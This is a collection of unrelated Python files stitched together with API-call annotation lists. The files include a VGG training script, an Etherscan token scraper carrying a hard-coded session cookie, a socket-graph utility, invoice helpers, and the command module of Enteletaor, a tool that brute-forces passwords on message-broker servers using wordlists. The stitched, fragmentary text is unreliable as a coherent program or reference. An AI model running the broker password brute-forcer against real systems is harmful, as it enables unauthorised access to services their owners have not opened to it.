'np.exp', (["(Sim['Cweight'] * (qoiEnd - Sim['Elastclone']))"], {}), "(Sim['Cweight'] * (qoiEnd - Sim['Elastclone']))\n", (9234, 9281), True, 'import numpy as np\n'), ((9418, 9469), 'numpy.exp', 'np.exp', (["(C * qoiEnd - ClastClone * Sim['Elastclone'])"], {}), "(C * qoiEnd - ClastClone * Sim['Elastclone'])\n", (9424, 9469), True, 'import numpy as np\n'), ((9698, 9719), 'numpy.zeros', 'np.zeros', (["Sim['NSim']"], {}), "(Sim['NSim'])\n", (9706, 9719), True, 'import numpy as np\n'), ((9740, 9768), 'numpy.argwhere', 'np.argwhere', (['(qoiEnd >= level)'], {}), '(qoiEnd >= level)\n', (9751, 9768), True, 'import numpy as np\n'), ((10286, 10307), 'numpy.sum', 'np.sum', (["Sim['F_prob']"], {}), "(Sim['F_prob'])\n", (10292, 10307), True, 'import numpy as np\n'), ((3874, 3902), 'numpy.load', 'np.load', (["Sim['RarePathFile']"], {}), "(Sim['RarePathFile'])\n", (3881, 3902), True, 'import numpy as np\n'), ((4016, 4044), 'numpy.load', 'np.load', (["Sim['RarePathFile']"], {}), "(Sim['RarePathFile'])\n", (4023, 4044), True, 'import numpy as np\n'), ((6005, 6032), 'numpy.sum', 'np.sum', (["Sim['numberClones']"], {}), "(Sim['numberClones'])\n", (6011, 6032), True, 'import numpy as np\n'), ((7724, 7752), 'numpy.amax', 'np.amax', (["Sim['numberClones']"], {}), "(Sim['numberClones'])\n", (7731, 7752), True, 'import numpy as np\n'), ((8551, 8578), 'numpy.sum', 'np.sum', (["Sim['numberClones']"], {}), "(Sim['numberClones'])\n", (8557, 8578), True, 'import numpy as np\n'), ((9840, 9903), 'numpy.exp', 'np.exp', (["(Sim['Cweight'] * (qoiInit[indLevel] - qoiEnd[indLevel]))"], {}), "(Sim['Cweight'] * (qoiInit[indLevel] - qoiEnd[indLevel]))\n", (9846, 9903), True, 'import numpy as np\n'), ((10042, 10101), 'numpy.exp', 'np.exp', (['(CInit * qoiInit[indLevel] - CEnd * qoiEnd[indLevel])'], {}), '(CInit * qoiInit[indLevel] - CEnd * qoiEnd[indLevel])\n', (10048, 10101), True, 'import numpy as np\n'), ((3946, 3974), 'numpy.load', 'np.load', (["Sim['RarePathFile']"], {}), "(Sim['RarePathFile'])\n", (3953, 3974), True, 'import numpy as np\n'), ((4177, 4200), 'numpy.amax', 'np.amax', (["Sim['varPath']"], {}), "(Sim['varPath'])\n", (4184, 4200), True, 'import numpy as np\n'), ((6876, 6903), 'numpy.sum', 'np.sum', (["Sim['numberClones']"], {}), "(Sim['numberClones'])\n", (6882, 6903), True, 'import numpy as np\n'), ((8021, 8086), 'numpy.random.normal', 'np.random.normal', ([], {'loc': '(0.0)', 'scale': '(1.0)', 'size': "(Sim['u'].shape[0], 1)"}), "(loc=0.0, scale=1.0, size=(Sim['u'].shape[0], 1))\n", (8037, 8086), True, 'import numpy as np\n')] |
# -*- coding: utf-8 -*-
#
# Enteletaor - https://github.com/cr0hn/enteletaor
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
# following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the
# following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
# following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote
# products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
import os
import six
import logging
from .utils import get_server_type
if six.PY2:
from .cracker import cracking
else:
# from .cracker3 import cracking
from .cracker import cracking
# Reconfigure AMQP LOGGER
logging.getLogger('amqp').setLevel(100)
log = logging.getLogger()
# ----------------------------------------------------------------------
def cmd_brute_main(config):
# --------------------------------------------------------------------------
# Check requisites
# --------------------------------------------------------------------------
if not config.target:
logging.error(" <!> target option, '-t', is required")
return
if not config.wordlist:
logging.error(" <!> wordlist option, '-w', is required")
return
# Fix wordlist path
if not os.path.exists(config.wordlist):
wordlist_base = os.path.join(os.path.dirname(__file__),
"..",
"..",
"resources",
"wordlist")
# Try to find into internal wordlists
internal_wordlists = [x for x in os.listdir(os.path.abspath(wordlist_base)) if "readme" not in x.lower()]
wordlist_choice = "%s.txt" % config.wordlist if ".txt" not in config.wordlist else config.wordlist
# Is wordlist available?
if wordlist_choice not in internal_wordlists:
log.error(" <!> Wordlist '%s' not found." % wordlist_choice)
return
# Fix wordlist path
config.wordlist = os.path.abspath(os.path.join(wordlist_base, wordlist_choice))
# --------------------------------------------------------------------------
# Preparing scan
# --------------------------------------------------------------------------
server_type, status, port = get_server_type(config)
if status != "closed":
log.error(" - Detected '%s' server with '%s'." % ('unknown' if server_type is None else server_type, status))
if server_type.lower() == "rabbitmq":
log.error(" - Set user to '%s'" % config.user)
# --------------------------------------------------------------------------
# Do brute
# --------------------------------------------------------------------------
if status == "auth":
log.error(" - Starting bruteforcer using wordlist: '%s'" % config.wordlist)
cracking(server_type, port, config)
elif status == "open":
log.error(" - '%s' '%s' server is open. No password cracking need" % (server_type, config.target))
else:
log.error(" - Not detected brokers in '%s'." % config.target)
| [
"logging.getLogger",
"os.path.exists",
"os.path.join",
"os.path.dirname",
"os.path.abspath",
"logging.error"
] | [((1805, 1824), 'logging.getLogger', 'logging.getLogger', ([], {}), '()\n', (1822, 1824), False, 'import logging\n'), ((1758, 1783), 'logging.getLogger', 'logging.getLogger', (['"""amqp"""'], {}), "('amqp')\n", (1775, 1783), False, 'import logging\n'), ((2130, 2185), 'logging.error', 'logging.error', (['""" <!> target option, \'-t\', is required"""'], {}), '(" <!> target option, \'-t\', is required")\n', (2143, 2185), False, 'import logging\n'), ((2222, 2279), 'logging.error', 'logging.error', (['""" <!> wordlist option, \'-w\', is required"""'], {}), '(" <!> wordlist option, \'-w\', is required")\n', (2235, 2279), False, 'import logging\n'), ((2319, 2350), 'os.path.exists', 'os.path.exists', (['config.wordlist'], {}), '(config.wordlist)\n', (2333, 2350), False, 'import os\n'), ((2383, 2408), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (2398, 2408), False, 'import os\n'), ((3032, 3076), 'os.path.join', 'os.path.join', (['wordlist_base', 'wordlist_choice'], {}), '(wordlist_base, wordlist_choice)\n', (3044, 3076), False, 'import os\n'), ((2658, 2688), 'os.path.abspath', 'os.path.abspath', (['wordlist_base'], {}), '(wordlist_base)\n', (2673, 2688), False, 'import os\n')] |
"""
IP socket address
"""
import sys
import socket
import threading
import time
import socket
import lib_util
import lib_common
from lib_properties import pc
def EntityOntology():
return ( ["Id"],)
# TODO: Add the network card.
# This returns a nice name given the parameter of the object.
def EntityName(entity_ids_arr):
entity_id = entity_ids_arr[0]
(hostName,dummy,portNum) = entity_id.rpartition(":")
try:
portNam = socket.getservbyport( int(portNum) )
# except socket.error:
except:
portNam = str(portNum)
return "%s:%s" % (hostName,portNam)
def AddInfo(grph,node,entity_ids_arr):
timeStart = time.time()
socketNam = entity_ids_arr[0]
#sys.stderr.write("socketNam=%s\n"%socketNam)
socketSplit = SplitAddrPort(socketNam)
socketAddr = socketSplit[0]
#sys.stderr.write("socketAddr=%s\n"%socketAddr)
sockIP = lib_util.GlobalGetHostByName(socketAddr)
timeEnd = time.time()
timeDelta = timeEnd - timeStart
DEBUG("addr.AddInfo tm=%f sockIP=%s",timeDelta,sockIP)
nodeHost = lib_common.gUriGen.HostnameUri( sockIP )
# Should be the otherway round, but it makes the graph ugly.
grph.add( ( node, pc.property_has_socket, nodeHost ) )
def UniversalAlias(entity_ids_arr,entity_host,entity_class):
# If IPV4, "host:port". Could be IPv6
socketAddr, socketPort = SplitAddrPort(entity_ids_arr[0])
# Is the host an IP address ?
try:
socket.inet_aton(socketAddr)
sockIP = socketAddr
except socket.error:
# This is not an IP address, therefore must be converted.
sockIP = lib_util.GlobalGetHostByName(socketAddr)
if sockIP == "127.0.0.1":
sockIP = lib_util.GlobalGetHostByName(socket.getfqdn())
# Just in case this would be a service name, turn into a protocol number.
# It should not happen because lib_uris. AddrUri displays the port as an integer.
try:
socketPortNumber = socket.getservbyname(socketPort)
except:
socketPortNumber = socketPort
uniAlias = str(sockIP) + ":" + str(socketPortNumber)
return uniAlias
# Add the real url corresponding to this socket so we can nicely click on it.
# This is a bit expeimental.
def DecorateSocketNode(grph, socketNode, host, port, proto):
socketNode = lib_common.gUriGen.AddrUri( host, port, proto )
# sys.stderr.write("port=%s proto=%s\n"%(str(port),str(proto)))
nodUrl = None
if port == 80 and proto == "tcp":
strUrl = "http://%s" % host
nodUrl = lib_common.NodeUrl(strUrl)
grph.add( ( nodUrl, pc.property_information, lib_common.NodeLiteral("HTTP url") ) )
# Aller chercher des infos idealement ??
if nodUrl:
grph.add( ( socketNode, lib_common.MakeProp("port"), nodUrl ) )
################################################################################
def JoinThreads(threads):
DEBUG("JoinThreads: %d threads to return.", len(threads))
for thread in threads:
# sys.stderr.write('Joining %s\n' % thread.getName())
thread.join()
# This returns retrieves the host information corresponding to a network address.
# It might take a long time due to DNS delay, therefore one thread is started per host.
def GetHost(addr):
try:
return socket.gethostbyaddr(addr)
except socket.herror:
return [ addr, [] ]
# Different interfaces according to the psutil version.
def SocketToPair(connect):
try:
larray = connect.laddr
rarray = connect.raddr
except AttributeError:
# Old psutil versions.
larray = connect.local_address
rarray = connect.remote_address
return (larray,rarray)
# The input could be '192.168.0.17:22' or '[fe80::3c7a:339:64f0:2161%11]:51769'
# If IPV6, it removes the surrounding square brackets.
def SplitAddrPort(addr):
idxCol = addr.rfind(":")
if idxCol < 0:
return ("",0)
if addr[0] == '[':
theHost = addr[1:idxCol-1]
else:
theHost = addr[:idxCol]
# FIXME: Should be OK: This applies only to IPV6
theHost = theHost.replace("%","_")
thePort = addr[idxCol+1:]
return (theHost,thePort)
# This asynchronously adds a RDF relation between a process and a socket.
# As it is asychronous, we can make a DNS query.
class PsutilAddSocketThread(threading.Thread):
def __init__(self, node_process,connect,grph,grph_lock):
self.node_process = node_process
self.connect = connect
self.grph = grph
self.grph_lock = grph_lock
threading.Thread.__init__(self)
# TODO: We might, in the future, have one single object instead of two.
# For example "socket_pair". Not sure.
def run(self):
# Now we create a node in rdflib, and we need a mutex for that.
try:
self.grph_lock.acquire()
( larray, rarray ) = SocketToPair(self.connect)
lhost = GetHost(larray[0])[0]
lsocketNode = lib_common.gUriGen.AddrUri( lhost, larray[1] )
try:
rhost = GetHost(rarray[0])[0]
rsocketNode = lib_common.gUriGen.AddrUri( rhost, rarray[1] )
self.grph.add( ( lsocketNode, pc.property_socket_end, rsocketNode ) )
except IndexError:
pass
# PAS CERTAIN: Qu'est ce qui dit qu une des sockets aboutit au host ?
self.grph.add( ( self.node_process, pc.property_has_socket, lsocketNode ) )
self.grph.add( ( lsocketNode, pc.property_information, lib_common.NodeLiteral(self.connect.status) ) )
finally:
self.grph_lock.release()
# Some throttling, in case there are thousands of nodes.
# time.sleep(0.001)
def PsutilAddSocketToGraphAsync(node_process,connects,grph,flagShowUnconnected):
threadsArr = []
grph_lock = threading.Lock()
for cnt in connects:
if( ( cnt.family == socket.AF_INET )
and ( cnt.type == socket.SOCK_STREAM )
and ( flagShowUnconnected or ( cnt.status == 'ESTABLISHED' ) )
):
thr = PsutilAddSocketThread( node_process, cnt, grph, grph_lock )
thr.start()
threadsArr.append( thr )
JoinThreads(threadsArr)
# TODO: We might, in the future, have one single object instead of two.
# TODO: Remove this hardcode !!!
# For example "socket_pair". Not sure.
def PsutilAddSocketToGraphOne(node_process,connect,grph):
# sys.stdout.write(' ')
if( ( connect.family == 2 )
and ( connect.type == 1 )
# and ( connect.status == 'ESTABLISHED' )
):
(larray,rarray) = SocketToPair(connect)
lsocketNode = lib_common.gUriGen.AddrUri( larray[0], larray[1] )
try:
rsocketNode = lib_common.gUriGen.AddrUri( rarray[0],rarray[1] )
except IndexError:
rsocketNode = None
# TODO: Should rather have a commutative link.
if rsocketNode != None:
grph.add( ( lsocketNode, pc.property_socket_end, rsocketNode ) )
# How can we be sure that one of the sockets is linked to the host ?
grph.add( ( node_process, pc.property_has_socket, lsocketNode ) )
grph.add( ( lsocketNode, pc.property_information, lib_common.NodeLiteral(connect.status) ) )
# On va peut-etre se debarrasser de ca si la version asynchrone est plus-rapide.
def PsutilAddSocketToGraph(node_process,connects,grph):
for cnt in connects:
PsutilAddSocketToGraphOne(node_process,cnt,grph)
| [
"lib_common.gUriGen.AddrUri",
"threading.Thread.__init__",
"socket.getfqdn",
"threading.Lock",
"lib_util.GlobalGetHostByName",
"lib_common.NodeUrl",
"lib_common.NodeLiteral",
"lib_common.gUriGen.HostnameUri",
"socket.inet_aton",
"socket.getservbyname",
"socket.gethostbyaddr",
"lib_common.MakeP... | [((617, 628), 'time.time', 'time.time', ([], {}), '()\n', (626, 628), False, 'import time\n'), ((835, 875), 'lib_util.GlobalGetHostByName', 'lib_util.GlobalGetHostByName', (['socketAddr'], {}), '(socketAddr)\n', (863, 875), False, 'import lib_util\n'), ((887, 898), 'time.time', 'time.time', ([], {}), '()\n', (896, 898), False, 'import time\n'), ((1001, 1039), 'lib_common.gUriGen.HostnameUri', 'lib_common.gUriGen.HostnameUri', (['sockIP'], {}), '(sockIP)\n', (1031, 1039), False, 'import lib_common\n'), ((2147, 2192), 'lib_common.gUriGen.AddrUri', 'lib_common.gUriGen.AddrUri', (['host', 'port', 'proto'], {}), '(host, port, proto)\n', (2173, 2192), False, 'import lib_common\n'), ((5312, 5328), 'threading.Lock', 'threading.Lock', ([], {}), '()\n', (5326, 5328), False, 'import threading\n'), ((1360, 1388), 'socket.inet_aton', 'socket.inet_aton', (['socketAddr'], {}), '(socketAddr)\n', (1376, 1388), False, 'import socket\n'), ((1817, 1849), 'socket.getservbyname', 'socket.getservbyname', (['socketPort'], {}), '(socketPort)\n', (1837, 1849), False, 'import socket\n'), ((2354, 2380), 'lib_common.NodeUrl', 'lib_common.NodeUrl', (['strUrl'], {}), '(strUrl)\n', (2372, 2380), False, 'import lib_common\n'), ((3060, 3086), 'socket.gethostbyaddr', 'socket.gethostbyaddr', (['addr'], {}), '(addr)\n', (3080, 3086), False, 'import socket\n'), ((4196, 4227), 'threading.Thread.__init__', 'threading.Thread.__init__', (['self'], {}), '(self)\n', (4221, 4227), False, 'import threading\n'), ((6033, 6081), 'lib_common.gUriGen.AddrUri', 'lib_common.gUriGen.AddrUri', (['larray[0]', 'larray[1]'], {}), '(larray[0], larray[1])\n', (6059, 6081), False, 'import lib_common\n'), ((1504, 1544), 'lib_util.GlobalGetHostByName', 'lib_util.GlobalGetHostByName', (['socketAddr'], {}), '(socketAddr)\n', (1532, 1544), False, 'import lib_util\n'), ((1613, 1629), 'socket.getfqdn', 'socket.getfqdn', ([], {}), '()\n', (1627, 1629), False, 'import socket\n'), ((4561, 4605), 'lib_common.gUriGen.AddrUri', 'lib_common.gUriGen.AddrUri', (['lhost', 'larray[1]'], {}), '(lhost, larray[1])\n', (4587, 4605), False, 'import lib_common\n'), ((6108, 6156), 'lib_common.gUriGen.AddrUri', 'lib_common.gUriGen.AddrUri', (['rarray[0]', 'rarray[1]'], {}), '(rarray[0], rarray[1])\n', (6134, 6156), False, 'import lib_common\n'), ((2428, 2462), 'lib_common.NodeLiteral', 'lib_common.NodeLiteral', (['"""HTTP url"""'], {}), "('HTTP url')\n", (2450, 2462), False, 'import lib_common\n'), ((2550, 2577), 'lib_common.MakeProp', 'lib_common.MakeProp', (['"""port"""'], {}), "('port')\n", (2569, 2577), False, 'import lib_common\n'), ((4669, 4713), 'lib_common.gUriGen.AddrUri', 'lib_common.gUriGen.AddrUri', (['rhost', 'rarray[1]'], {}), '(rhost, rarray[1])\n', (4695, 4713), False, 'import lib_common\n'), ((6537, 6575), 'lib_common.NodeLiteral', 'lib_common.NodeLiteral', (['connect.status'], {}), '(connect.status)\n', (6559, 6575), False, 'import lib_common\n'), ((5032, 5075), 'lib_common.NodeLiteral', 'lib_common.NodeLiteral', (['self.connect.status'], {}), '(self.connect.status)\n', (5054, 5075), False, 'import lib_common\n')] |
from torch import nn
from train_nn_single_GPU import train_nn
from utility import try_gpu, load_data_fashion_mnist
def vgg_block(num_convs, in_channels, out_channels):
layers = []
for _ in range(num_convs):
layers.append(
nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1))
layers.append(nn.ReLU())
in_channels = out_channels
layers.append(nn.MaxPool2d(kernel_size=2, stride=2))
return nn.Sequential(*layers)
def vgg(conv_arch):
conv_blks = []
in_channels = 1
for (num_convs, out_channels) in conv_arch:
conv_blks.append(vgg_block(num_convs, in_channels, out_channels))
in_channels = out_channels
net = nn.Sequential(*conv_blks, nn.Flatten(),
# 3 FC layers
nn.Linear(out_channels * 7 * 7, 4096),
nn.ReLU(),
nn.Dropout(0.5),
nn.Linear(4096, 4096),
nn.ReLU(),
nn.Dropout(0.5),
nn.Linear(4096, 10)
)
return net
if __name__ == '__main__':
# VGG-11: 8 Convs + 3 FC
conv_arch = ((1, 64), (1, 128), (2, 256), (2, 512), (2, 512))
net = vgg(conv_arch)
lr, num_epochs, batch_size = 0.05, 1, 128
train_iter, test_iter = load_data_fashion_mnist(batch_size=batch_size, resize=224)
train_nn(net, train_iter, test_iter, num_epochs, lr, try_gpu())
| [
"torch.nn.ReLU",
"torch.nn.Dropout",
"utility.load_data_fashion_mnist",
"torch.nn.Sequential",
"torch.nn.Flatten",
"torch.nn.Conv2d",
"utility.try_gpu",
"torch.nn.MaxPool2d",
"torch.nn.Linear"
] | [((452, 474), 'torch.nn.Sequential', 'nn.Sequential', (['*layers'], {}), '(*layers)\n', (465, 474), False, 'from torch import nn\n'), ((1359, 1417), 'utility.load_data_fashion_mnist', 'load_data_fashion_mnist', ([], {'batch_size': 'batch_size', 'resize': '(224)'}), '(batch_size=batch_size, resize=224)\n', (1382, 1417), False, 'from utility import try_gpu, load_data_fashion_mnist\n'), ((402, 439), 'torch.nn.MaxPool2d', 'nn.MaxPool2d', ([], {'kernel_size': '(2)', 'stride': '(2)'}), '(kernel_size=2, stride=2)\n', (414, 439), False, 'from torch import nn\n'), ((731, 743), 'torch.nn.Flatten', 'nn.Flatten', ([], {}), '()\n', (741, 743), False, 'from torch import nn\n'), ((808, 845), 'torch.nn.Linear', 'nn.Linear', (['(out_channels * 7 * 7)', '(4096)'], {}), '(out_channels * 7 * 7, 4096)\n', (817, 845), False, 'from torch import nn\n'), ((872, 881), 'torch.nn.ReLU', 'nn.ReLU', ([], {}), '()\n', (879, 881), False, 'from torch import nn\n'), ((907, 922), 'torch.nn.Dropout', 'nn.Dropout', (['(0.5)'], {}), '(0.5)\n', (917, 922), False, 'from torch import nn\n'), ((949, 970), 'torch.nn.Linear', 'nn.Linear', (['(4096)', '(4096)'], {}), '(4096, 4096)\n', (958, 970), False, 'from torch import nn\n'), ((997, 1006), 'torch.nn.ReLU', 'nn.ReLU', ([], {}), '()\n', (1004, 1006), False, 'from torch import nn\n'), ((1032, 1047), 'torch.nn.Dropout', 'nn.Dropout', (['(0.5)'], {}), '(0.5)\n', (1042, 1047), False, 'from torch import nn\n'), ((1074, 1093), 'torch.nn.Linear', 'nn.Linear', (['(4096)', '(10)'], {}), '(4096, 10)\n', (1083, 1093), False, 'from torch import nn\n'), ((1475, 1484), 'utility.try_gpu', 'try_gpu', ([], {}), '()\n', (1482, 1484), False, 'from utility import try_gpu, load_data_fashion_mnist\n'), ((252, 314), 'torch.nn.Conv2d', 'nn.Conv2d', (['in_channels', 'out_channels'], {'kernel_size': '(3)', 'padding': '(1)'}), '(in_channels, out_channels, kernel_size=3, padding=1)\n', (261, 314), False, 'from torch import nn\n'), ((338, 347), 'torch.nn.ReLU', 'nn.ReLU', ([], {}), '()\n', (345, 347), False, 'from torch import nn\n')] |
from re import search
from bs4 import BeautifulSoup
from requests import get
from integrations.uni import Uniswap
class Ether:
'''Etherscan adaptor.'''
def __init__(self, *args, **kwargs):
self.base_url = 'https://etherscan.io/tokens?p={}'
self.headers = {
"authority": "etherscan.io",
"cache-control": "max-age=0",
"upgrade-insecure-requests": "1",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.115 Safari/537.36",
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"sec-gpc": "1",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "navigate",
"sec-fetch-user": "?1",
"sec-fetch-dest": "document",
"referer": "https://etherscan.io/tokens",
"accept-language": "en-US,en;q=0.9",
"cookie": "ASP.NET_SessionId=kqmzjmcfnxbowxxybaa1geih; __cflb=02DiuFnsSsHWYH8WqVXaqGvd6BSBaXQLTRKLTJUZ53xse; __stripe_mid=f5edd8f6-550e-49ed-bdee-b43aabfcbdd7a29e02"
}
self.anchors = []
self.tokens = {}
self.uni = Uniswap(address=None, private_key=None)
def get_page(self, num=1):
"""Retrieves a etherscan page as a Soup object."""
response = get(
self.base_url.format(num),
headers=self.headers
)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
return soup
else:
return None
def get_anchors(self, soup) -> list:
self.anchors = soup.find_all('a')
def get_max_pages(self) -> int:
all_anchors = self.anchors
link_anchor = [
anchor for anchor in all_anchors if 'page-link' in anchor.attrs.get('class', [])
and 'tokens?p' in anchor['href']
]
max_page = max(
map(int, [anchor['href'].replace('tokens?p=', '') for anchor in link_anchor])
)
return max_page
def get_tokens_from_page(self):
all_anchors = self.anchors
token_anchor = [
anchor for anchor in all_anchors if 'token' in anchor['href']
and 'text-primary' in anchor.attrs.get('class', [])
]
# data from tokens comes in format "name of token (symbol of token)"
# the regex retrieves only the symbol of the token
for token in token_anchor:
symbol = search(r'(?<=\()[\w\d]+', token.text)
if symbol is not None:
symbol = symbol.group(0)
address = token['href'].replace('/token/', '')
self.tokens.update(
{
symbol: {
'address': address,
'decimals': None,
}
}
)
else:
print(f"Could not retrieve possible token: {token.text}") | [
"bs4.BeautifulSoup",
"integrations.uni.Uniswap",
"re.search"
] | [((1274, 1313), 'integrations.uni.Uniswap', 'Uniswap', ([], {'address': 'None', 'private_key': 'None'}), '(address=None, private_key=None)\n', (1281, 1313), False, 'from integrations.uni import Uniswap\n'), ((1571, 1614), 'bs4.BeautifulSoup', 'BeautifulSoup', (['response.text', '"""html.parser"""'], {}), "(response.text, 'html.parser')\n", (1584, 1614), False, 'from bs4 import BeautifulSoup\n'), ((2599, 2638), 're.search', 'search', (['"""(?<=\\\\()[\\\\w\\\\d]+"""', 'token.text'], {}), "('(?<=\\\\()[\\\\w\\\\d]+', token.text)\n", (2605, 2638), False, 'from re import search\n')] |
import sys
class DynamicTerminalOutput:
def __init__(self, start_output):
self.last_output = start_output
print(start_output)
def update(self, new_output: str):
self._clear_previous()
print(new_output)
self.last_output = new_output
def clear(self):
self.update("")
def _clear_previous(self):
n_new_lines = self.last_output.count("\n") + 1
for _ in range(n_new_lines):
sys.stdout.write("\033[F") # Cursor up one line
sys.stdout.write("\033[K") # Clear to the end of line
| [
"sys.stdout.write"
] | [((465, 491), 'sys.stdout.write', 'sys.stdout.write', (['"""\x1b[F"""'], {}), "('\\x1b[F')\n", (481, 491), False, 'import sys\n'), ((526, 552), 'sys.stdout.write', 'sys.stdout.write', (['"""\x1b[K"""'], {}), "('\\x1b[K')\n", (542, 552), False, 'import sys\n')] |
#-*- coding: utf-8 -*-
from setuptools import setup, find_packages
import pip
def install(package):
pip.main(['install', package])
install('git+git://github.com/ernw/python-wcfbin.git')
setup(
name='openair',
version='0.1.17',
keywords = ('aqi', 'air', 'china'),
description='This project is to fetch data from the official Silverlight application of Ministry of Environmental Protection of China (http://172.16.31.10:20035/), which publish realtime air quality. 本项目旨在方便地获取官方发布的中国空气质量数据。',
license='MIT',
author='hebingchang',
author_email='<EMAIL>',
url='https://ovo.qaq.ac.cn',
platforms = 'any',
packages = ['openair', 'openair.data'],
install_requires = ["xmltodict", "wcf-binary-parser==0.5.3"],
dependency_links = ['http://github.com/ernw/python-wcfbin/tarball/master#egg=wcf-binary-parser-0.5.3']
)
| [
"setuptools.setup",
"pip.main"
] | [((193, 837), 'setuptools.setup', 'setup', ([], {'name': '"""openair"""', 'version': '"""0.1.17"""', 'keywords': "('aqi', 'air', 'china')", 'description': '"""This project is to fetch data from the official Silverlight application of Ministry of Environmental Protection of China (http://172.16.31.10:20035/), which publish realtime air quality. 本项目旨在方便地获取官方发布的中国空气质量数据。"""', 'license': '"""MIT"""', 'author': '"""hebingchang"""', 'author_email': '"""<EMAIL>"""', 'url': '"""https://ovo.qaq.ac.cn"""', 'platforms': '"""any"""', 'packages': "['openair', 'openair.data']", 'install_requires': "['xmltodict', 'wcf-binary-parser==0.5.3']", 'dependency_links': "['http://github.com/ernw/python-wcfbin/tarball/master#egg=wcf-binary-parser-0.5.3'\n ]"}), "(name='openair', version='0.1.17', keywords=('aqi', 'air', 'china'),\n description=\n 'This project is to fetch data from the official Silverlight application of Ministry of Environmental Protection of China (http://172.16.31.10:20035/), which publish realtime air quality. 本项目旨在方便地获取官方发布的中国空气质量数据。'\n , license='MIT', author='hebingchang', author_email='<EMAIL>', url=\n 'https://ovo.qaq.ac.cn', platforms='any', packages=['openair',\n 'openair.data'], install_requires=['xmltodict',\n 'wcf-binary-parser==0.5.3'], dependency_links=[\n 'http://github.com/ernw/python-wcfbin/tarball/master#egg=wcf-binary-parser-0.5.3'\n ])\n", (198, 837), False, 'from setuptools import setup, find_packages\n'), ((105, 135), 'pip.main', 'pip.main', (["['install', package]"], {}), "(['install', package])\n", (113, 135), False, 'import pip\n')] |
import functions.functions as functions
import os
from tkinter import messagebox
from tkinter import *
if __name__ == "__main__":
settings = functions.import_settings()
source = settings['source_directory']
root = Tk()
root.withdraw()
for subdir, dirs, files in os.walk(source):
for filename in files:
filepath: str = subdir + os.sep + filename
if filepath.endswith('.boxnote'):
# print(filepath)
functions.convert_boxnote(filepath)
messagebox.showinfo("Completed", "The process has finished. Please check the converter.log file.")
| [
"functions.functions.convert_boxnote",
"tkinter.messagebox.showinfo",
"os.walk",
"functions.functions.import_settings"
] | [((146, 173), 'functions.functions.import_settings', 'functions.import_settings', ([], {}), '()\n', (171, 173), True, 'import functions.functions as functions\n'), ((285, 300), 'os.walk', 'os.walk', (['source'], {}), '(source)\n', (292, 300), False, 'import os\n'), ((526, 628), 'tkinter.messagebox.showinfo', 'messagebox.showinfo', (['"""Completed"""', '"""The process has finished. Please check the converter.log file."""'], {}), "('Completed',\n 'The process has finished. Please check the converter.log file.')\n", (545, 628), False, 'from tkinter import messagebox\n'), ((485, 520), 'functions.functions.convert_boxnote', 'functions.convert_boxnote', (['filepath'], {}), '(filepath)\n', (510, 520), True, 'import functions.functions as functions\n')] |
"""
Teamleader Helper functions
"""
from teamleader.api import Teamleader
from teamleader.exceptions import InvalidInputError
def vat_liability_to_invoice(customer_vat_liability, tariff='21', service=False):
'''Determine invoice line vat term based on default tariff and customer VAT liability.
'''
tariff = str(tariff).zfill(2)
if tariff not in ['00', '06', '12', '21']:
raise InvalidInputError("Invalid VAT tariff.")
if customer_vat_liability == 'intra_community_eu':
return 'VCMD' if service else 'CM'
elif customer_vat_liability == 'vat_liable':
return tariff
elif customer_vat_liability == 'outside_eu':
return 'EX'
elif customer_vat_liability == 'unknown':
return tariff
elif customer_vat_liability == 'private_person':
return tariff
elif customer_vat_liability == 'not_vat_liable':
return '00'
elif customer_vat_liability == 'contractant':
return 'MC'
else:
raise InvalidInputError("Invalid customer VAT liability.")
def payment_term_to_invoice(customer_payment_term):
'''Determine invoice line payment term based on default tariff and customer VAT settings.
'''
invoice_payment_term = customer_payment_term.replace('_days', 'D').replace('_end_month', 'DEM')
if invoice_payment_term not in Teamleader._valid_payment_terms:
raise InvalidInputError("Invalid contents of argument customer_payment_term.")
return invoice_payment_term
| [
"teamleader.exceptions.InvalidInputError"
] | [((406, 446), 'teamleader.exceptions.InvalidInputError', 'InvalidInputError', (['"""Invalid VAT tariff."""'], {}), "('Invalid VAT tariff.')\n", (423, 446), False, 'from teamleader.exceptions import InvalidInputError\n'), ((1388, 1460), 'teamleader.exceptions.InvalidInputError', 'InvalidInputError', (['"""Invalid contents of argument customer_payment_term."""'], {}), "('Invalid contents of argument customer_payment_term.')\n", (1405, 1460), False, 'from teamleader.exceptions import InvalidInputError\n'), ((996, 1048), 'teamleader.exceptions.InvalidInputError', 'InvalidInputError', (['"""Invalid customer VAT liability."""'], {}), "('Invalid customer VAT liability.')\n", (1013, 1048), False, 'from teamleader.exceptions import InvalidInputError\n')] |
#!/usr/bin/env python
# coding: utf-8
"""
